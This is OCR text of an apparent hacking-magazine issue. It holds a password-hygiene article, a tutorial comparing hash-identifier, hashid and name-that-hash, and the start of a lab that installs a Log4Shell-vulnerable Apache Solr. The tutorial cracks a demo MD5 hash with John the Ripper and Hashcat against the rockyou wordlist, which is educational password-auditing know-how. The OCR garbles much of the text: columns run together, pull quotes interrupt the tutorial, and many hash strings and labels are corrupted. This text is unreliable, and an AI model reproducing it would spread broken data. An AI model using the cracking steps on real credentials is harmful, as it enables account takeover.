These secure passwords can be harder to (offering the option to upgrade for more functio-
remember, to the extent you might end up havi- nality like Nordpass), while others charge a one-
ng to write them down. That’s OK, as long as yo off fee or recurring subscription (such as
-u keep the note somewhere secure (and definite 1Password). Most allow you to securely sync yo-
ly not stuck to your monitor). ur passwords across all your devices, and some

Reusing passwords is another common error let you safely share passwords between family
- and one of the biggest. Past data leaks, such as members or work groups.

that suffered by LinkedIn in 2012, mean billions You can also use the password managers
of old passwords are now circulating among built into most web browsers or operating syste-
cyber criminals. ms (with many phones offering this functionality

This has given rise to a practice called in the browser or natively). These tend to have
“credential stuffing” — taking a leaked password fewer features and may pose compatibility issues
from one source and trying it on other sites. If  if you want to access your password from differe
you're still using the same old password for mult -nt browsers or platforms.

Hiple email, social media or financial accounts, Password managers take a bit of getting
you’re at risk of being compromised. used to, but don’t be too daunted. When creatin
-g a new account on a website, you let the passw
Pro Tip : Use A Password Manager -ord manager create a unique (complex) passwo
-rd and store it straight away — there’s no need to
The simplest and most effective route to good  think of one yourself!
password hygiene is to use a password manager. (Cont'd On Next Page)




Later, when you want to access that account delegated access to others. Many e-commerce w-
again, the password manager fills it in automatic- ebsites, for example, give you the option of loggi
ally. This is either through direct integration with -ng in with your Facebook, Google or Apple acc
the browser (typically on computers) or through -ount. This doesn’t expose your password to gre-

a separate application on your mobile device.  ater risk, because the password itself is not share-
Most password managers will automatically d. But if the password is compromised, using it
“lock” after a period of time, prompting for the would grant access to those delegated sites. It is
master password (or face/finger verification) usually best to create unique accounts - and use
before allowing access again. your password manager to keep them safe.

Adopting a better approach to passwords is
Protect Your Most Important a simple way to reduce your cyber-security risks.
Passwords Ideally that means using a password manager,
but if you’re not quite ready for that yet, at least
If you don’t like the sound of a password make 2022 the year you ditch the sticky notes
manager, at the very least change your “critical” and pets’ names.
account passwords so each one is strong and uni
-que. Financial services, email accounts, govern- ° ° °
ment services, and work systems should each ha- T h 1S A r t 1C l c f 1S t
ve a separate, strong password.

[ ]
Even if you write them down in a book d P P carc d 11
(kept safely locked away) you will significantly T h
€

reduce your risk in the event of a data breach
lon any of those platforms.

Remember, however, that some sites provide C onversa t 101

( Name That Hash &

o TOOL OF THE MONTH y

[n the earlier days of my journey as a hacker while I was still exploring Kali Linux, I became a fa-
n of a tool that can be used to detect the type of hash I was dealing with. This was still a stage whe
n hashes were daunting to me and many would be ethical hackers preferred to use online metho-
ds to find what type of hash it is.

I am talking about the tool hash-identifier. I started to use it less but the addition of a new tool to
the repository of Kali in the latest Kali 2021.4 release made me feel that this tool and another tool
similar to it needed a mention in my Magazine. Hash-Identifier can be started as shown below.
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hen all I need to do is to supply a hash to it. I start with a MDJ) hash and hit ENTER.
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HASH: e597b84bcd916e65fc1520575804471d

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:
RAdmin v2.X
NTLM
MD4
MD2
MD5 (HMAC)
MD4 (HMAC)
MD2 (HMAC)
MD5 (HMAC (Wordpress) )
Haval-128
Haval-128(HMAC)
RipeMD-128
RipeMD-128 (HMAC)
SNEFRU-128
SNEFRU-128 (HMAC)
Tiger-128
Tiger-128(HMAC)
md5 ($pass.$salt)
md5($salt.$pass)
md5($salt.$pass.$salt)
md5($salt.$pass.$username)
md5($salt.md5($pass))
md5($salt.md5($pass))
md5($salt.md5($pass.$salt))
md5($salt.md5($pass.$salt))
md5($salt.md5($salt.$pass))

As readers can see, this tool rightly detected it as an MDJ5 hash. Then all we need is to use a MD5
cracker. Let's try a SHA-1 hash.




HASH: a5f350962b4dcd343d5a602c04236db4ee757515

Possible Hashs:
[+] SHA-1
[+] MySQLS5 - SHA-1(SHA-1($pass))

Least Possible Hashs:

[+] Tiger-160

[+] Haval-160

[+] RipeMD-160

[+] SHA-1(HMAC)

[+] Tiger-160(HMAC)

[+] RipeMD-160(HMAC)

[+] Haval-160(HMAC)

[+] SHA-1(MaNGOS)

[+] SHA-1(MaNGO0S2)

[+] shal($pass.$salt)

[+] shal($salt.$pass)

[+] shal($salt.md5($pass))

[+] shal($salt.md5($pass).%salt)
[+] shal($salt.shal($pass))

[+] shal($salt.shal($salt.shal($pass)))
[+] shal($username.$pass)

[+] shal($username.$pass.$salt)
[+] shal(md5($pass))

[+] shal(md5($pass).$salt)

[+] shal(md5(shal($pass)))

[+] shal(shal($pass))

[+] shal(shal($pass).$salt)

[+] shal(shal($pass).substr($pass,0,3))
[+] shal(shal($salt.$pass))

here's another tool in Kali that serves the same purpose : "hashid".

e597b84bcd916e65fc1520575804471d
Analyzing 'e597b84bcd916e651c1520575804471d"
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
RIPEMD-128
[+] Haval-128
Tiger-128
Skein-256(128)
Skein-512(128)
Lotus Notes/Domino 5
Skype
Snefru-128
NTLM
Domain Cached Credentials




Analyzing '’

[+] Unknown hash
a5f350962b4dcd343d5a602c04236db4ee757515
Analvzing 'a51350962b4dcd343d5a602c04236db4ee757515"
[+] SHA-1

[+] Double SHA-1

[+] RIPEMD-160

[+] Haval-160

[+] Tiger-160

[+] HAS-160

[+] LinkedIn

[+] Skein-256(160)

[+] Skein-512(160)

Let's give a LM hash to both of these tools.

HASH: AAD3B435B51404EEAAD3B435B51404EE

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:
[+] RAdmin v2.X

[+] NTLM

[+] MD4

[+] MD2

[+] MD5(HMAC)

[+] MD4(HMAC)

[+] MD2(HMAC)

[+] MD5(HMAC(Wordpress))
[+] Haval-128

[+] Haval-128(HMAC)
[+] RipeMD-128

HASH: 451e7f65f597f391ecaabda329a6d8236c1101e049fc2e98e29d8e3da2f42cad

Possible Hashs:
[+] SHA-256
[+] Haval-256

Least Possible Hashs:
GOST R 34.11-94
RipeMD-256
SNEFRU-256
SHA-256 (HMAC)
Haval-256 (HMAC)
RipeMD-256 (HMAC)




Hash-Identifier failed to detect it and Hashid almost detected it. Next, let's try NTLM hash.
HASH: 64A700D409326DD898OEEA1FC55BE4CA

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:
[+] RAdmin v2.Xx

[+] NTLM

[+] MD4

[+] MD2

[+] MD5(HMAC)

[+] MD4(HMAC)

[+] MD2(HMAC)

[+] MD5(HMAC(Wordpress))

Hash-identifier put it in least possible hashes.

64A700D409326DD898OEEA1FC55BE4C4
Analyzing '64A700D409326DD898OEEA1FC55BE4C4!
[+] MD2

[+] MD5

[+] MD4

[+] Double MD5

[+] M

[+] RIPEMD-128

[+] Haval-128

[+] Tiger-128

[+] Skein-256(128)

[+] Skein-512(128)

[+] Lotus Notes/Domino 5

[+] Skype

[+] Snefru-128

[+] NTLM

[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)

£+] RAdmin v2.x

HashId almost did the same. Let's now try a SHA-256 hash on both of these tools.
HASH: 451e7f65f597f391ecaabda329a6d8236c1101e049fc2e98e29d8e3da2f42cad

Possible Hashs:
[+] SHA-256
[+] Haval-256

Least Possible Hashs:
[+] GOST R 34.11-94
[+] RipeMD-256

[+] SNEFRU-256

[+] SHA-256(HMAC)

[+] Haval-256(HMAC)
[+] RipeMD-256(HMAC)




451e7f651597f391ecaabda329a6d8236c1101e049fc2e98e29d8e3daz2f42cad
Analyzing '451e7f65f597f391ecaabda329a6d8236cll01e0491c2e98e29d8e3da2f42casd’
[+] Snefru-256

[+] SHA-256

[+] RIPEMD-256

[+] Haval-256

[+] GOST R 34.11-94

[+] GOST CryptoPro S-Box

[+] SHA3-256

[+] Skein-256

[+] Skein-512(256)

i
Hash-Identifier detected it correctly while HashId didn't fare worse. Next, SHA-512 hash.

HASH: 871f16813dadf554a8c2dcd8034elc74d4c58fd246196bleldbOdcOcbedfadd5caf651dd8b019afai4l4cl5c5113eedBdB829049b353f63eccdfdaBbd1342¢

Possible Hashs:
[+] SHA-512
[+] Whirlpool

Least Possible Hashs:
[+] SHA-512(HMAC)
[+] Whirlpool(HMAC)

871116813dad4f554a8c2dcd8034elc74d4c58Td246196bleldbbdcOcbedfaddS5cat651dd8b019ata7414c15c5113eed8d829049b353F63eccdfda8641342e409
Analyzing '871716813dadf554a8c2dcd8034elc74d4c58Td246196bleldbbdc@cbedfadd5cate51dd8bo19ata’414c15¢5113eed8d829049b353f63eccdfdasid
e409°’

[+] SHA-512

[+] Whirlpool

[+] Salsall@

[+] Salsaz20

[+] SHA3-512

[+] Skein-512

£+] Skein-1024(512)

Both of them got it right. Let's now move to the new tool Name That Hashabout which this
section is all about. It is not installed by default in Kali Linux but can be installed as shown below.

nth
ommand "nth” not found, but can be installed with:
sudo apt install name-that-hash
Do you want to install it? (N/y)y
sudo apt install name-that-hash
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
name-that-hash
© upgraded, 1 newly installed, © to remove and 616 not upgraded.
Need to get 16.4 kB of archives.
After this operation, 119 kB of additional disk space will be used.
Get:1 http://ftp.harukasan.org/kali kali-rolling/main amd64 name-that-hash all 1.10-0kalil [16.4 kB]
Fetched 16.4 kB in 4s (3,650 B/s)
Selecting previously unselected package name-that-hash.
(Reading database ... 268277 files and directories currently installed.)
Preparing to unpack .../name-that-hash 1.10-0kalil all.deb ...
Unpacking name-that-hash (1.10-0kalil)
Setting up name-that-hash (1.10-0kalil)
Processing triggers for kali-menu (2021.4.2)




Once Name-That-Hash is installed, it can be started using command nth. To test a single hash, we
can use nth with option "t" as shown below. Let's first give a MDJ hash.

e597b84bcd916e651c1520575804471d

HC: 0 JtR: raw-md5 Summary: Used for Linux Shadow files.
., HC: 900 JtR: raw-md4
M, HC: 1000 JtR: nt Summary: Often used in Windows Active
Lrectory.
in Cached Credentials, HC: 1100 JtR: mscach

Domain Cached Credentials 2, HC: 2100 JtR: mscach2 Double MD5,
HC: 2600 LM, HC: 3000 JtR: lm RIPEMD-128, JtR: ripemd-128
Haval-128, JtR: haval-128-4 Haval-128 (3 rounds), JtR:

ust like the others this tool also got it right but it is giving us some additional information like whe
re the hash is actually used. For example, Md5 is used in Linux shadow files. What about SHA-1

hash?

"These actors are highly capable and mouvated to perform their
espilonage activities."- Ashneer Malhotra and Vitor Ventura, Cisco Talos

il




a51350962b4dcd343d5a602c04236db4ee757515

SHA-1, HC: 100 JtR: raw-shal Summary: Used for checksums.
HMAC-SHAl (key = $salt), HC: 160 JtR: hmac-shal

Double SHA-1, HC: 4500

RIPEMD-160, HC: 6000 JtR: ripemd-160

Haval-160 (3 rounds), HC: 6000 JtR: dynamic 190 Haval-160 (4
rounds), HC: 6000 JtR: dynamic 200 Haval-160 (5 rounds), HC:
6000 JtR: dynamic 210 Haval-192 (3 rounds), HC: 6000 JtR:
dynamic 220 Haval-192 (4 rounds), HC: 6000 JtR: dynamic 230
Haval-192 (5 rounds), HC: 6000 JtR: dynamic 240 Haval-224 (4
rounds), HC: 6000 JtR: dynamic 260 Haval-224 (5 rounds), HC:
6000 JtR: dynamic 270 Haval-160, Tiger-160, HAS-160,
LinkedIn, HC: 190 JtR: raw-shal-linkedin Skein-256(160),

[t got this right too. Next, LM hash.

"An attacker does not need to know customer details to achieve this or
even have an account on SureMDM. ! e
- Kev Breen, Director,Immersive Labs on SureMDM vulnerabilities




AAD3B435B51404EEAAD3B435B51404EE

MD5, HC: O JtR: raw-md5 Summary: Used for Linux Shadow files.
MD4, HC: 900 JtR: raw-md4

NTLM, HC: 1000 JtR: nt Summary: Often used in Windows Active
Directory.

Domain Cached Credentials, HC: 1100 JtR: mscach

Domain Cached Credentials 2, HC: 2100 JtR: mscach2 Double MD5,
HC: 2600 LM, HC: 3000 JtR: lm RIPEMD-128, JtR: ripemd-128
Haval-128, JtR: haval-128-4 Haval-128 (3 rounds), JtR:

dynamic 160 Haval-128 (5 rounds), JtR: dynamic 180 Tiger-128,
Skein-256(128), Skein-512(128), Lotus Notes/Domino 5, HC:
8600 JtR: lotus5 Skype, HC: 23 ZipMonster, PrestaShop, HC:
11000 md5(md5(md5($pass))), HC: 3500

his It put it in the Least likely section. Next NTLM hash.

64A700D409326DD898OEEA1FC55BE4C4

MD5, HC: 0 JtR: raw-md5 Summary: Used for Linux Shadow files.
MD4, HC: 900 JtR: raw-md4

NTLM, HC: 1000 JtR: nt Summary: Often used in Windows Active
Directory.

Domain Cached Credentials, HC: 1100 JtR: mscach

Domain Cached Credentials 2, HC: 2100 JtR: mscach2 Double MD5,
HC: 2600 LM, HC: 3000 JtR: lm RIPEMD-128, JtR: ripemd-128
Haval-128, JtR: haval-128-4 Haval-128 (3 rounds), JtR:

dynamic 160 Haval-128 (5 rounds), JtR: dynamic 180 Tiger-128,
Skein-256(128), Skein-512(128), Lotus Notes/Domino 5, HC:
8600 JtR: lotus5 Skype, HC: 23 ZipMonster, PrestaShop, HC:
11000 md5(md5(md5($pass))), HC: 3500

We are runing out of Kevin Mitnick quotes to fill this space.
Any ideas?




HC: 40 HMAC-MD5 (key = $pass), HC: 50 JtR: hmac-md5 HMAC-MD5
(key = $salt), HC: 60 JtR: hmac-md5 md5(md5($salt).$pass), HC:
3610 md5($salt.md5($pass)), HC: 3710 md5($pass.md5($salt)),
HC: 3720 md5($salt.$pass.$salt), HC: 3810

md5 (md5 ($pass) .md5($salt)), HC: 3910
md5($salt.md5($salt.$pass)), HC: 4010
md5($salt.md5($pass.$salt)), HC: 4110 md5($username.0.$pass),
HC: 4210 md5(utflé($pass)), JtR: dynamic 29 md4($salt.$pass),
JtR: dynamic 31 md4($pass.$salt), JtR: dynamic 32

md4 (utfl6(s$pass)), JtR: dynamic 33 md5(md4($pass)), JtR:
dynamic 34 net-md5, JtR: dynamic 39 md5($salt.padl6($pass)),
JtR: dynamic 39 MD2, JtR: md2 Snefru-128, JtR: snefru-128
DNSSEC(NSEC3), HC: 8300 RAdmin v2.x, HC: 9900 JtR: radmin
Cisco Type 7, BigCrypt, JtR: bigcrypt PKZIP Master Key, HC:
20500

[t failed to get spot on on NTLM too. Just like its predecessors, it rightfully detected the SHA-512
and SHA-256 hashes.

451e71t6515971391ecaabda329a6d8236¢c1101e049fc2e98e29d8e3da2f42ca
4

SHA-256, HC: 1400 JtR: raw-sha256 Summary: 256-bit key and is a
good partner-function for AES. Can be used in Shadow files.
Snefru-256, JtR: snefru-256

RIPEMD-256, JtR: dynamic 140

Haval-256 (3 rounds), JtR: dynamic 140

Haval-256 (4 rounds), JtR: dynamic 290 Haval-256 (5 rounds),
JtR: dynamic 300 GOST R 34.11-94, HC: 6900 JtR: gost GOST
CryptoPro S-Box, Blake2b-256, SHA3-256, HC: 17400 JtR:
dynamic 380 PANAMA, JtR: dynamic 320 BLAKE2-256, BLAKE2-384,
Skein-256, JtR: skein-256 Skein-512(256), Ventrilo,
sha256($pass.$salt), HC: 1410 JtR: dynamic 62

P

We are runing out of Kevin Mitnick quotes to fill this space.
Any ideas?

[




Haval-256 (4 rounds), JtR: dynamic 290 Haval-256 (5 rounds),
JtR: dynamic 300 GOST R 34.11-94, HC: 6900 JtR: gost GOST
CryptoPro S-Box, Blake2b-256, SHA3-256, HC: 17400 JtR:
dynamic 380 PANAMA, JtR: dynamic 320 BLAKE2-256, BLAKE2-384,
Skein-256, JtR: skein-256 Skein-512(256), Ventrilo,
sha256($pass.$salt), HC: 1410 JtR: dynamic 62
sha256($salt.$pass), HC: 1420 JtR: dynamic 61
sha256(sha256($pass)), HC: 1420 JtR: dynamic 63

sha256(sha256 raw($pass))), HC: 1420 JtR: dynamic 64

sha256 (sha256($pass).$salt), HC: 1420 JtR: dynamic 65
sha256($salt.sha256($pass)), HC: 1420 JtR: dynamic 66

sha256 (sha256($salt).sha256($pass)), HC: 1420 JtR: dynamic 67
sha256 (sha256($pass) .sha256($pass)), HC: 1420 JtR: dynamic 68
sha256 (unicode($pass).$salt), HC: 1430
sha256($salt.unicode($pass)), HC: 1440 HMAC-SHA256 (key =
$pass), HC: 1450 JtR: hmac-sha256 HMAC-SHA256 (key = $salt),
HC: 1460 JtR: hmac-sha256 Cisco Type 7, BigCrypt, JtR:

871116813dad4f554a8c2dcd8034elc74d4c581d246196blel4b0dcOcbedfadd

5cat651dd8b019afta7414c15c5113eed8d829049b353T63eccdfda8641342¢e4
09

SHA-512, HC: 1700 JtR: raw-sha512 Summary: Used in Bitcoin
Blockchain and Shadow Files.

Keccak-512, HC: 1800

Blake2, HC: 600 JtR: raw-blake2 Summary: Used in Wireguard,
Zcash, IPFS and more.

Keccak-256, HC: 17800

Whirlpool, HC: 6100 JtR: whirlpool Salsal®@, Summary: Not
considered a hash function. Salsa20, Summary: Not considered a
hash function. SHA3-512, HC: 17600 JtR: raw-sha3 Skein-512,
JtR: skein-512 Skein-1024(512), sha512($pass.$salt), HC: 1710

"Lazarus APT 1s one of the advanced APT groups that i1s known to target
the defense industry.
- Researchers at MalwareBytes."




Whirlpool, HC: 6100 JtR: whirlpool Salsal®@, Summary: Not
considered a hash function. Salsa20, Summary: Not considered a
hash function. SHA3-512, HC: 17600 JtR: raw-sha3 Skein-512,
JtR: skein-512 Skein-1024(512), sha512($pass.$salt), HC: 1710
sha512($salt.$pass), HC: 1720 sha512(unicode($pass).$salt),
HC: 1730 sha5l2($salt.unicode($pass)), HC: 1740 HMAC-SHA512
(key = $pass), HC: 1750 JtR: hmac-sha512 Keccak-384, HC: 17900
JtR: dynamic 440 Keccak-224, HC: 17700 JtR: dynamic 430
BLAKE2-224, HMAC-SHA512 (key = $salt), HC: 1760 JtR:
hmac-sha512 Cisco Type 7, BigCrypt, JtR: bigcrypt PKZIP Master
Key, HC: 20500

he good thing about name-that-hash is that instead of being blank, it gives us more information
about actually where the hash is used. This can be useful when you grab a collection of hashes on
a target network. You can easily decide which hashes to crack and which not to crack.
If you have more number of hashes, giving it one by one can be cumbersome. Luckily, you
can give them all at once by saving these hashes in a text file as shown below

GNU nano 5.9 hashes. txt

e597b84bcd916e65fc1520575804471d
a5t350962b4dcd343d5a602c04236db4ee757515
AAD3B435B51404EEAAD3B435B51404EE
64A700D409326DD898OEEA1FC55BE4C4
45le7f65f597f39lecaa6da32936d8236c11016049fc2898829d8€3d32f42ci
871116813dad4f554a8c2dcd8034elc74d4c581d246196blel4b0dcOcbedfad

[ Wrote 7 lines ]
¢ Help ) Write Out@l Where Is @y Cut gl Execute
o4 Exit gy Read Filegll Replace @ Paste g8l Justify

and using "{" option to specify the file.




/home/kall/Desktop/hashes. txt

he output which is not shown here is same as above.
Name-That-Hash is only designed to identify hashes unlike the other two but if you have a
base64 encoded string, it can be decoded by nth using the "-b64" option.

aGFja2VyY29vbA==

No quote here too.
R




hackercool

[t correctly decoded it as "hackercool" All the above hashes are also encrypted hashes of the text
"hackercool". Suppose you want the result to only display the "most likely" result, you can get this

871f16813da4f554a8c2dcd8034e1c74d4c58fd246196b1e1
4b0dc0cbedTadd5caf651dd8b019afa7414c15c5113eed8d829049b353f63ec
cdfda8641342e409

8711f16813da4f554a8c2dcd8034elc74d4c581d246196blel4b0dcOchedfadd

5caf651dd8b019ata7414c15c5113eed8d829049b353f63eccdfda8641342e4
09

SHA-512, HC: 1700 JtR: raw-sha512 Summary: Used in Bitcoin
Blockchain and Shadow Files.
Keccak-512, HC: 1800
Blake2, HC: 600 JtR: raw-blake2 Summary: Used in Wireguard,
Zcash, IPFS ana more.
Keccak-256, HC: 17800

If you observe the above images, you can see the banner of name-that-hash occupying lot of

space. Just like me if this is putting you off, you can see result without banner using the
"-no-banner" option.




aGFja2VyY29vbA==

hackercool

Once go to the image above the above image, the one where we used the "-a" option. Once,
carefully observe the result. It correctly detected the hash as SHA-512. Next to it, you can see the
text "HC 1700 JtR: raw-sha512"

This is HashCat (HC stands for HashCat) and John (JtR stands for John The Ripper)
information being displayed by the tool because the next thing you will do after identifying the ha
sh is to crack it using Hashcat or John. This requires what you need to put into these tools to crac-
k it. For example, let's take a simpler hash.

f25a2fc72690b780b2aldel40ef6a9e0d

f25a21c72690b780b2al4el40ef6a9el

ID5, HC: 0 JtR: raw-md5 Summary: Used for Linux Shadow files.
MD4, HC: 900 JtR: raw-md4

NTLM, HC: 1000 JtR: nt Summary: Often used 1n Windows Active
Directory.

Domain Cached Credentials, HC: 1100 JtR: mscach

v

)
)
T
1

ohn The Ripper says its raw-md5. We need to just supply this format as shown below in JTR to

crack this.

Yhr /home/kali/Desktop/hashl. txt
Using default input encoding: UTF-8

Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])

Warning: no OpenMP support for this hash type, consider --fork=
4

Proceeding with single, rules:Single

Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwo
rds, if any.

Proceeding with wordlist:/usr/share/john/password.lst

&




Similarly, the HC number given is "0". Let's supply it as shown below in HashCat.

—_— .

ashce ® -m 0 /home/kali/Desktop/hashl.txt /usr/share/w
ordlists/rockyou. txt
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 2.0 pocl 1.8 Linux, None+Asserts, RELOC, LL
VM 9.0.1, SLEEF, DISTRO, POCL DEBUG) - Platform #1 [The pocl pr

* Device #1: pthread-Intel(R) Core(TM) 13-10116U CPU @ 2.10GHz,
1416/1480 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

[s]tatus [plause [b]ypass [c]heckpoint [q]uit => Dictionary cac
he building /usr/share/wordlists/rockyou.txt: 33553434 bytes (2
Dictionary cache building /usr/share/wordlists/rockyou.txt: 671
Dictionary cache building /usr/share/wordlists/rockyou.txt: 134
Dictionary cache built:

* Filename..: /usr/share/wordlists/rockyou.txt

* Passwords.: 14344392

* : 139921507

* Keyspace..: 14344385

* Runtime...: 3 secs

f25a21c72690b780b2ald4el40ef6a9e0:iloveyou

Session

Status : Cracked

Hash.Name :

Hash.Target : T25a2fc72690b780b2aldeld0efba9el

However, if you are an experienced ethical hacker with too much details hurting your ego, you ca

"The ultimate §0a1 of Chaes banking trofan 1s to steal credentials stored 1n

Chrome and intercept lo§ins of popular banking websites in Brazil."

esearchers at Avast.




e597b84bcd916e65fc1520575804471d
e597b84bcd916e651c1520575804471d
MD5, HC: 0@ Summary: Used for Linux Shadow files.
MD4, HC: 900

NTLM, HC: 1000 Summary: Often used in Windows Active Directory.
Domain Cached Credentials, HC: 1100

his is the difference.

e597b84bcd916e65fc1520575804471d

e597b84bcd916e651c1520575804471d

MD5, HC: 0 JtR: raw-md5 Summary: Used for Linux Shadow files.
MD4, HC: 900 JtR: raw-md4

NTLM, HC: 1000 JtR: nt Summary: Often used 1n Windows Actilve
Directory.

Domain Cached Credentials, HC: 1100 JtR: mscach

ou can do the same with HashCat information using "-no-hashcat" information.

e597b84bcd916e65fc1520575804471d
e597b84bcd916e651c1520575804471d
MD5, JtR: raw-md5 Summary: Used for Linux Shadow files.
MD4, JtR: raw-md4

NTLM, JtR: nt Summary: Often used i1n Windows Active Directory.
Domain Cached Credentials, JtR: mscach

he difference can be seen below.




€597b84bcd916e65fc1520575804471d

e597b84bcd916e651c1520575804471d

MD5, HC: O JtR: raw-md5 Summary: Used for Lin
D4, HC: 900 JtR: raw-md4

NTLM, HC: 1000 JtR: nt Summary: Often used in Windows A«
Directory.
Domain Cached Cred lals, HC: 1100 JtR: mscach

[That was all about the new hash identifying tool that's added to the repository of the latest version
of Kali Linux. Which one is your favorite?

é Apache Log4Shell Vulnerable Lab -
. HACKING LAB !

In our Previous Issue, readers have learnt about the Apache Log4shell vulnerability and how it
is exploited. In this Issue, readers will learn how to create a Real World lab with Apache Log4j vu
Hnerability. If you are looking for vulnerable Docker containers as target, the information is given
in our Downloads section. This Lab is intended to be used in various Real World hacking scenari-
0S.

Readers have learnt which software is vulnerable to Apache log4shell in our Previous Issue. Of
all the software vulnerable to Apache log4shell, we will be using Apache Solr for this lab. This is
because it appears to be the only target whose installation is simple and easy to understand.

After Apache log4shell vulnerability has been disclosed, the makers of Apache Solr released
version 8.11.1 with a fix to this vulnerability. This left all the previous releases of Apache Solr vuln
-erable.

We will be using Apache Solr 8.9.0 and we will be installing it on Ubuntu Server 18.04.6. The

download information of Apache Solr is given in our Downloads section. What is Apache Solr?

Apache Solr is an open-source enterprise search platform written in Java. It is widely used in
enterprises for search and analytics use cases. Some of the companies using Solr for their search r-
equirements include Cisco for its social media search platform, EBay for its German classified site-
s, MTV to power search on a number of its websites and Netflix for its search feature etc.

To install Apache Solr, we first need to install Ubuntu Server. Its installation procedure is not
provided here as it is simple. After the Ubuntu server is installed, login into the server and install
[Java as shown below.

To run a command as administrator (user "root'), use ‘sudo <command>’.
See 'man sudo_root” for details.

Jserl@ubuntu_18_server:”™
[sudo] password for userl:




his should prompt you with all the packages it is going to install as shown below.

The following additional packages will be installed:
at-spiz2-core ca-certificates-java fontconfig-config fonts-dejavu-core tonts-dejavu-extra
Java-common libasound2 libasound2-data libatk-bridge2.0-0 libatk-wrapper-java
libatk-wrapper-java-jni libatk1.0-0 libatkl.0-data libatspi2.0-0 libavahi-client3
libhavahi-common-data libavahi-common3 libcups? libdrm-amdgpul libdem-intell libdrm-nouveau?
libdrm-radeonl libfontconfigl libfontencl libgif7? libgll libgli-mesa-dri libglapi-mesa libglvndO
libglx-mesald 1ibglx0 libgraphite2-3 libharfbuzzOb libice-dev libice6t libjpeg-turboB8 libjpeg8
liblcms2-2 1ibllvml0 libnsprd libnss3 libpciaccess0 libpcsclitel libpthread-stubsO-dev
lihsensorsd libsm-dev libsmé libxili-dev libx1lil-doc libxili-xch1l libxau-dev libxaw? libxch-driz-0
libxch-dri3-0 libxcb-g1lx0 libxch-present0 libxch-shape0 libxch-syncl libxcbl-dey libxcompositel
libxdamagel libxdmcp-dev libxfixes3 libxtt2 libxie libxineramal libxmug libxpmd libxrandr?2
libxrenderl libxshmfencel libxt-dev libxte libxtste libxvl libxxf86dgal libxxf8cvml
openjdk-11-jdk-headless openjdk-11-Jjre openjdk-11-jre-headless x11-common x11-utils
x11lproto-core-dey x1llproto-dev xorg-sgml-doctools xtrans-dewv

default-jre libasound2-plugins alsa-utils cups-common libice-doc liblems2-utils pcscd lm-sensors
libsm-doc libxch-doc libxt-doc openjdk-11-demo openjdk-11-source visualvm libnss-mdns
fonts-ipafont-gothic fonts-ipafont-mincho fonts-wgy-microhei | fonts-wguy-zenhei fonts-indic
mesa-utils

The following NEW packages will be installed:
at-sple2-core ca-certificates-java fontconfig-config fonts-dejavu-core fonts-dejavu-extra
Java-common libasound?2 libasound2-data libatk-bridgeZ2.0-0 libatk-wrapper-java
libatk-wrapper-java-jni libatk1l.0-0 libatkl.0-data libatspi?.0-0 libavahi-client3
libavahi-common-data libavahi-common3 libcups?z libdem-amdgpul libdrm-intell libdrm-nouveauz
libdrm-radeonl libfontconfigl libfontencl libgif7 libgll libgli-mesa-dri libglapi-mesa 1libglwvnd0Q
libglx-mesa0 libglx0 libgraphiteZ2-3 libharfbuzzOb libice-dev libice6 libjpeg-turbo8 libjpeg8
liblcms2-2 libllvml0 libnsprd libnss3 libpciaccess0 libpesclitel libpthread-stubsO-dey
libsensorsd libsm-dev libsmé libx1il-dev libxll-doc libx11-xchl libxau-dev libxaw? libxch-dri2-0
libxch-dri3-0 libxcb-g1x0 libxcb-present0Q libxch-shape0 libxch-syncl libxchl-dev libxcompositel
libxdamagel libxdmcp-dev libxfixes3d libxft2 libxie libxineramal libxmug libxpmd libxrandr?2
libxrenderl libxshmfencel libxt-dey libxie libxtste libxvl libxxf86deal libxxt86wvml
openjdk-11-jdk openjdk-11-)jdk-headless openjdk-11-jre openjdk-11-Jjre-headless x11-common
®x11-utils x1llproto-core-dey x1llproto-dev xorg-sgml-doctools xtrans-dew

0 upgraded, 87 newly installed, 0 to remove and 0 not upgraded.

Need to get 295 MB of archives.

After this operation, 771 MB of additional disk space will be used.

Do you want to continue? [Y/n] y_

Select "y". If you get any error while installing packages, use command sudo apt-get update and
then install java again. The installation should finish as shown below.

idding debian:SecureTrust_CA.pem
idding debian:Global_Chambhersign_Root_-_Z2008.pem

idding debian: IdenTrust_Commercial_Root_CA_1.pem

lone.

etting up openjdk-11-jdk:amdéd (11.0.13+8-0ubuntul™18.04)

pdate-alternatives: using susr/lib/jvm/java-11-openjdk-amdedshin/jconsole to provide susr/bin/jcons
1le (jconsole) in auto mode

'rocessing triggers for ca-certificates (20210119718.04.1)

Ipdating certificates in /etcs/ssl/certs...

' added, 0 removed; done.

wunning hooks in setc/ca-certificates/update.d...

lone.

lone.

'rocessing trigeers for mime-support (3.60ubuntul)

'rocessing trigegers for ureadahead (0.100.0-21)

'rocessing trigegers for libhc-bin (2.27-3ubuntul.4)
- triggers for systemd (237-3ubuntul0.52)
- triggers for man-db (2.8.3-2ubuntu0.1)

Iserl@ubuntu_18_server:™$% _




After the installation is finished, check the version of java installed using command java —version.
userl@ubuntu_18_server:™% jJava --version

openjdk 11.0.13 2021-10-19

OpenJDK Runtime Environment (build 11.0.13+8-Ubuntu-0Oubuntul.18.04)

OpenJDK 64-Bit Server WM (build 11.0.13+8-Ubuntu-0Oubuntul.18.04, mixed mode, sharing)
userl@ubuntu_18_server:™$ _

Java is successfully installed. It's time to install Solr. The download information of Apache Solr
8.9.0 is given in our Downloads section. Since we have downloaded it earlier we copy it to the
Ubuntu server from our local web server.
useri@ubuntu_18_server:™$ wget http://192.168.36.171:8000/s01r-8.9.0.1¢82
T = & ol 811 S O B s e o iy httﬂ‘J’lqﬂ.le.ﬁb.lfl oUOU/SOLr-0.9. .U, T8Z
Connecting to 192.168.36.171:f connected.

HTTP request sent, awaiting re:pmmze. .. 200 0K
202942547 (194M) [applications/x-tar]
